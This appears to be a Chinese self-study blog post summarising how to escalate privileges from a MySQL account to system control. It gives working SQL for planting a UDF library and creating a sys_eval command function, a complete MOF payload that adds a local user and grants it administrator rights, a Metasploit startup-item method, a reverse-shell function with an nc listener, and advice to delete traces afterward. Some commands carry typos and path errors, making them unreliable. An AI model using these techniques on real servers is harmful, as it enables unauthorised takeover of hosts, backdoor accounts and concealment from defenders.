mysql提权总结（自学）

获取到MySQL权限，或者说获取到MySQL账号密码，能够调用MySQL语句
MySQL具有写入功能，也就是secure_file_priv值不为具体值或者为固定某值，可以用SQL语句查询：
复制代码
```
show global variables like 'secure%';
```
要有root权限，且要允许外连。root账户允许外连的SQL语句：
复制代码
```
grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';
```

利用准备

1、熟悉对方的MySQL目录结构和主机型号，使用SQL命令查看：

复制代码

show variables like '%compile%';

2、确定MySQL的目录结构，搜索位置

复制代码

show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本，并且有32位和64位的版本，目录位置：

复制代码

/usr/share/metasploit-framework/data/exploits/mysql

利用过程

如果有文件上传漏洞，可以使用蚁剑等工具连接之后，然后直接将提权脚本文件放入lib\plugin目录下，然后使用mysql终端，创建自定义函数sys_eval
sql 复制代码
```
create function sys_eval returns string soname 'udf.dall';
```

直接在mysql终端创建目录，导入文件

sql 复制代码

create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval

调用脚本创建sys_eval函数，可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹，要把刚刚新建的data表删掉。

MOF提权

原理

类似于udf提权，但成功率低，简单总结来说就是替换原来文件，然后利用自启动原理执行文件进行提权。

在Windows系统下，存在一个mof文件，路径C:/Windows/System32/wbem/mof/nullevt.mof，它的特点为每隔极短一段时间，便会以System权限自动运行文件内脚本，mof提权就是利用这点，将写好的mof文件导入该目录中，让它自动执行代码。

利用条件

有mysql账号和密码
目录可写入

利用过程

sql 复制代码

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

sql 复制代码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user secist 123 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为

net localgroup administrators hsy/add 即可将用户提升管理员权限

自启动提权

利用条件：mysql开启外连；知道账号密码

sql 复制代码

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块设置目标IP 账号密码还可以写入反弹shell接受IP 写入启动项需要对方启动系统，如果权限不够高，可以尝试反弹shell能否获取更高权限

反弹shell提权

mysql创建反弹函数select backshell（'发送到的ip地址','端口'），kali使用nc监听本地（攻击机）IP nc -l（本地）-p 端口

总结

mysql提权有很多种方法，有通过sqlmap的--os-shell、通过写入文件（outfile/dumpfile）、通过udf提权、通过mof提权、通过自启动提权等等
mysql提权需要的三个条件：要有能够执行数据库语句的权限（知道数据库账号密码）；mysql数据库要有能够写入的权限，secure_file_priv的值不为具体值或者为某个具体值（为null表示禁止导入导出）；mysql账号要有root权限，或者是有root权限的其他用户，且要允许外连
UDF提权原理是因为mysql提供自定义函数的功能，所以可以自定义提权的函数（例如命令执行等），而udf.dll文件放在数据库目录下的lib/plugin下
UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数；也可以通过mysql命令语句执行，先创建表然后将文件内容的16进制传入表中，然后再通过写入文件函数dumpfile写入指定目录，最后再创建函数；还可以利用脚本进行创建函数（kali有自带的脚本，也可以通过msf等的脚本利用工具）。
MOF提权相对于UDF提权相对利用率较低，它是专门针对Windows提权的。原理是因为Windows下有一个mof文件，路径在C:/Windows/system32/webm/mog/nullevt.mof下，它特点是每隔一段时间，系统就会以root权限去执行这个文件，利用这一点就可以进行利用。